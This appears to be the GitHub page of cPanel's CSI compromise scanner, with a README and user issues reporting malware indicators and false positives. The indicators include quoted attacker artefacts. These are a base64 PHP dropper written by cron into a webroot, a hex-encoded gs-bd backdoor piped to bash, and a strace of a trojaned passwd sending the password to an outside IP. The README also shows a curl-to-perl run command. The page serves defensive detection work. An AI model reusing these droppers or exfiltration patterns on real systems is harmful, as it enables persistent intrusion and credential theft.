cpanelinc / tech-csi

cPanel Security Scan

CSI (cPanel Security Investigator)

A script that provides a variety of functions to assist with the investigation of both root- and user-level compromises. By default, Its purpose is to scan for rootkits or root-level compromises. But it can also perform a user level scan.

Originally, this script installed some 3rd party tools such as rkhunter and chkrootkit. But those programs have not been updated in a number of years and seem to have been abandoned. This script has been completedly overhauled since then and they have since been removed.

########################################################################

DISCLAIMER! cPanel's Technical Support does not provide

security consultation services. The only support services we

can provide at this time is to perform a minimal analysis of the

possible security breach solely for the purpose of determining if

cPanel's software was involved or used in the security breach.

########################################################################

As with any anti-malware scanning system false positives may occur

If anything suspicious is found, it should be investigated by a

professional security consultant. There are never any guarantees

########################################################################

Usage: /usr/local/cpanel/3rdparty/bin/perl csi.pl [options] [function]

Functions

With no arguments, performs a quick scan looking for IoC's.

--bincheck Performs RPM verification on core system binaries and prints active aliases.

--userscan cPanelUser Performs YARA scan [using clamscan if ClamAV is installed] for a single cPanel User..

Additional scan options available

--shadow Performs a check on all email accounts looking for variants of shadow.roottn hack. --symlink Performs a symlink hack check for all accounts. --secadv Runs Security Advisor --full Performs all of the above checks - very time consuming.

Examples

        /root/csi.pl [DEFAULT] quick scan
        /root/csi.pl --symlink
        /root/csi.pl --full

Bincheck: /root/csi.pl --bincheck Userscan /root/csi.pl --userscan myuser

tech-csi's Issues

getcontrolpaneluserspackages incorrectly flagged on CloudLinux systems

It appears - via https://support.cpanel.net/hc/en-us/community/posts/21424281340567-should-be-dhcpd-cryptominer-or-dhpcd-cryptominer - that tech-CSI detects the presence of
/usr/bin/getcontrolpaneluserspackage
as "dhcpd cryptominer" as

tech-CSI/csi.pl

Lines 2731 to 2732 in 7065d50

	push @SUMMARY, "> Found evidence of the dhcpd cryptominer in /bin directory" if ( $line =~ m/[a-z0-9]{26}/ );
	push @SUMMARY, expand( CYAN "\t\\_ $line" ) if ( $line =~ m/[a-z0-9]{26}/ );

just looks for file names in /bin/ consisting of at least 26 characters ("getcontrolpaneluserspackage" being 29 in length).

A check should be made to see if "CloudLinux" is the OS and, if so, add an exclude for that specific string in that test - or the check tightened to =~ m/\A[a-z0-9]{26}\z/ to ensure that strings with EXACTLY 26 characters are matched.

(Also, as per that forum post and Akamai's write up, the malware should be called "dhpcd cryptominer" (not dhcpd).

exit at checking process list

It looks like the script is broken under CentOS 7 and exit at "Checking process list for suspicious processes". Could you look into this please?

Thank you

librwctl

Hi @cPanelPeter

I hope you doing fine. One of our servers has been flagged with:

Suspicious file found: /lib64/librwctl.so
_ Size: 39552 Date Changed: Sat May 11 10:11:11 2022 PKG Is Owned: No Owned by U/G: root/root

and I was wondering if you could provide me some more info about this? I couldn't find any malwares or hacks or vulnernabilities related to this file (at least in Google). The original file is dated back to 2014 although I couldn't find the same file on some of our other servers so I'm a bit lost here. Do you know why was this specific .so file added as suspicious? Do you know to which vulnerability/malware could this be related to?

Thanks as always

additional dota3

Process runs in a chain like: -go(992271)---timeout(376718)---tsm(376719)---tsm(376724)-+-{tsm}(376725)

Location can vary from /dev/shm or /tmp - sometimes in /root/.configrc.

64b9584e5ca7d5c4980bd72e63718b634a8912d4dc123de940db36dd111931ae /dev/shm/.X867123/.rsync/a/kswapd0
0f754eab280e5ff0b65c46bdd1cc16e8aff944c834379df2632cd5f261afe3bb /dev/shm/.X867123/.rsync/c/lib/64/tsm

0f754eab280e5ff0b65c46bdd1cc16e8aff944c834379df2632cd5f261afe3bb /tmp/.X2ss-unix/.rsync/c/lib/64/tsm
e0ebf578cd13fee0b79ea7cd72769cf99677557f389920270034ff71fbb7da5f /tmp/.X2ss-unix/dota3.tar.gz

Cron doesn't vary much except based on the user:
1 1 */2 * * /home/admin/.configrc/a/upd>/dev/null 2>&1
@reboot /home/admin/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/admin/.configrc/b/sync>/dev/null 2>&1
@reboot /home/admin/.configrc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X2ss-unix/.rsync/c/aptitude>/dev/null 2>&1

root would be in /root/.configrc

SSH key placed on the system is already detected by csi (mdrfckr)

New detection

Running through cron:

• • • • • /tmp/system/Linux_amd64 > /dev/null 2>&1

checksums
b0c821d33db9c8a00c9d5480f1825082f973af64 Arm_x86
1c8085230f30b578906a7d749e48767a3179b366 Linux_amd64
bad1846c71fc23d28e22c20048f7490fd96c8347 Linux_x86

folder /tmp/system

id: extra operand ‘2>/dev/null’

On multiple servers when we run csi.pl we are getting the following now:

[ Checking /etc/passwd file for suspicious users ]
id: extra operand ‘2>/dev/null’
Try 'id --help' for more information.
id: extra operand ‘2>/dev/null’
Try 'id --help' for more information.

we run it with the following command:

/usr/local/cpanel/3rdparty/bin/perl <(curl -L -s "https://raw.githubusercontent.com/CpanelInc/tech-CSI/master/csi.pl")

New malware found on a compromised system

This system had the following:

Root compromise had the following running
a69b46510ecde2d9cc54b70ba775b9b53adb6bea5bf8a43e125283547b277b36 /usr/sbin/events

Hides cmdline as
[pdflush-0]

/usr/sbin/events binary calls with in it two files:

273610a0d582ecea2a816b0994093d198fd1f67ff42d1692241d1f7adde7b3ed /usr/lib/libu.a/safe_scr
and
bb3e3ed44ebc74e6e2d6c530d85759f98dd74e84b621218e7d6fee76bb5586e2 /usr/sbin/ptty

Uses /usr/lib/libu.a as a storage folder to place temp files

Other malware:
cron stings
*/6 * * * * /var/tmp/init10 > /dev/null 2>&1 &
*/1 * * * * /var/lock/bash10 > /dev/null 2>&1 &
*/3 * * * * /dev/shm/sh10 > /dev/null 2>&1 &
*/9 * * * * /tmp/init10 > /dev/null 2>&1 &

All these were the same check sums
426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 /var/tmp/init10
426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 /var/lock/bash10
426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 /dev/shm/sh10
426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 /tmp/init10

Last one:

48a9258c709e08cde0290b92107e247b8493274cc290735d0632c5fc0ba5d16d /tmp/cache_init
this runs as sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;/tmp/cache_init -h random -p -f -bin 3.86.38.166

New detection

Undetected process running on a compromised system:

binary /usr/sbin/sysprod

1c4b3751d83bce731230e76193afa394ea37d475795251fd443840d0ff64f45a /usr/sbin/sysprod

Running as sysprod

New suspicious cron string

This was in a user cron.

* * * * * fp="/home/XXXX/public_html/XXX/engine.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmNsYXNzIEFwdA0Kew0KICAgIHByaXZhdGUgc3RhdGljICRzOw0KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikNCiAgICB7DQogICAgICAgIGlmICghc2VsZjo6JHMpDQogICAgICAgICAgICBzZWxmOjppKCk7DQogICAgICAgIHJldHVybiBzZWxmOjokc1sk   REDACTED FOR SECURITY tICYmIGlzc2V0KCRfZmttW0FwdDo6ZygwKV0pKSA/ICgoJF9oID0gJF9ma21bQXB0OjpnKDEpXSAuICRfZmttW0FwdDo6ZygyKV0pICYmICgkX3pwcSA9ICRfaCgkX2ZrbVtBcHQ6OmcoMyldIC4gJF9ma21bQXB0OjpnKDQpXSkpICYmICgkX3VseSA9ICRfaCgkX2ZrbVtBcHQ6OmcoNSldIC4gJF9ma21bQXB0OjpnKDYpXSkpICYmICgkX3VseSA9ICRfdWx5KCRfaCgkX2ZrbVtBcHQ6OmcoNyldKSkpICYmIGV2YWwoJF91bHkpKSA6ICRfZmttOw0KICAgIHJldHVybiBBcHQ6OmcoOCk7DQp9DQpjbGljaygpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp"

In my experience I can not remember a cron using 'base64 --decode' for any users. There certainly could be a valid reason for it, but IMO it is worth displaying it as suspicious in tech-csi for a further check.

malware in /bin/passwd

/usr/bin/passwd
sha256
e84636cf7f19dcded99c7fd173a6b4132dfe33ef761e27d457aa0bccb154240a

md5
9834635f38e58adf2131c1037403e101

I believe this can be detected in the sha256 file

On reset we see a call to a remote ip via /usr/bin/passwd

write(1, "\n", 1
)                       = 1
ioctl(0, TCGETS, {B9600 opost isig icanon -echo ...}) = 0
ioctl(0, SNDCTL_TMR_STOP or TCSETSW, {B9600 opost isig icanon echo ...}) = 0
ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=100000000}, 0x7ffe6d90f750) = 0
write(1, "passwd: all authentication token"..., 56passwd: all authentication tokens updated successfully.
) = 56
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1010), sin_addr=inet_addr("179.43.142.41")}, 16) = 0
sendto(3, "GET /pass?pass=cm9vdCAsICAsIHRlc"..., 181, MSG_NOSIGNAL, NULL, 0) = 181
recvfrom(3, "HTTP/1.1 200 OK\r\nServer: Werkzeu"..., 4000, 0, NULL, NULL) = 176
close(3)   

Issues using ./csi.pl --rootkitscan

When using ./csi.pl --rootkitscan Im getting:

Use of uninitialized value $rkhunterinstall in concatenation (.) or string at ./csi.pl line 1663.
mv: cannot move /root/CSI/' to a subdirectory of itself, /root/CSI/rkhunterinstall'
[WARN]: RKHunter installation failed!
[ Installing latest chkrootkit ]
Use of uninitialized value $chkrootkitinstall in concatenation (.) or string at ./csi.pl line 1693.
mv: cannot move /root/CSI/' to a subdirectory of itself, /root/CSI/chkrootkit'

CentOS release 6.10

/usr/local/cpanel/cpanel -V
74.0 (build 4)

/tmp/dr_client source or sample?

Thanks a lot for your nifty list of potential suspicious files. I recently saw that you added /tmp/dr_client? Do you remember the source or even the hash of the file?

https://github.com/CpanelInc/tech-CSI/blame/81dc4919366e80421a0cfa6166938cf5cc8cd34b/suspicious_files.txt#L444

New Detection

/home/virtfs/home/XX/.config/dbus/gs-bd

process hiding as
[kcached/0]

checksum:
87460563d7426ffb06c2e7b7fc33a2247d14a005ab7cce818eee3c98a1747da2

cron:

DO NOT REMOVE THIS LINE. SEED PRNG. #gs-bd-kernel

SHELL="/usr/local/cpanel/bin/jailshell"
59 * * * * echo 2f7573722f62696e2f706b696c6c202d30202d55313032382067732d626420323e2f6465762f6e756c6c207c7c205348454c4c3d2f7573722f6c6f63616c2f6370616e656c2f62696e2f6e6f7368656c6c205445524d3d787465726d2d323536636f6c6f722047534f434b45545f415247533d222d6b202f686f6d652f6469676974616c6e65787573696e74652f2e636f6e6669672f646275732f67732d62642e646174202d6c69714422202f7573722f62696e2f62617368202d63202265786563202d6120275b6b6361636865642f305d2720272f686f6d652f6469676974616c6e65787573696e74652f2e636f6e6669672f646275732f67732d626427220a|xxd -r -ps|bash #1b5b324a50524e47 >/dev/random # seed prng gs-bd-kernel

Elasticsearch falsely identified as rpm/yum process

Hello,

Trying to run csi.pl when an elasticsearch instance is running on the server, gives the following error:

[WARN]: An rpm/yum process may be running. Could cause some checks to hang waiting for process to complete.

One of the command line arguments of elasticsearch is -Des.distribution.type=rpm so apparently that's causing the false negative.

new detection perfctl

This was a root compromise

Running in cron /root/.config/cron/perfcc

75e5f4c549cfbb999b0ece7c842321f2ccca6cd62d2274f27132b734a146108e /root/.config/cron/perfcc

process was called perfcc

exe -> '/tmp/.perf.c/perfctl (deleted)'

shadow.roottn.bak

Hi Peter,

This is not an issue but a question. I'm sorry if this should be asked elsewhere. Traces of shadow hacks has been found on the server and detected by csi.pl as follows:

Found the following directories containing the shadow.roottn.bak hack:
_ See: https://github.com/bksmile/WebApplication/blob/master/smtp_changer/wbf.php
_ /home/xxx1/etc/hon/shadow.roottn.bak
_ /home/xxxx2/etc/hi/shadow.roottn.bak

Listing the content of the folders there are shadow and shadow.roottn.bak with the later the older. My question is that shadow.roottn.bak is the original file before the hack happened and shadow file is the newer with the compromised password?

drwxr-x--- 2 pftop pftop 4096 Mar 28 04:33 @pwcache
-rw-r--r-- 1 pftop pftop 119 Mar 29 12:26 shadow
-rw-r----- 1 pftop pftop 119 Apr 10 2021 shadow.roottn.bak

Can you advise here? Would really appreciate.

Thank you

Malicius sshins

I just recently found this on one system:
https://www.joesandbox.com/analysis/355141/0/html
Can you add this check on /etc/ld.so.preload look for /lib64/libs.so
More info on page.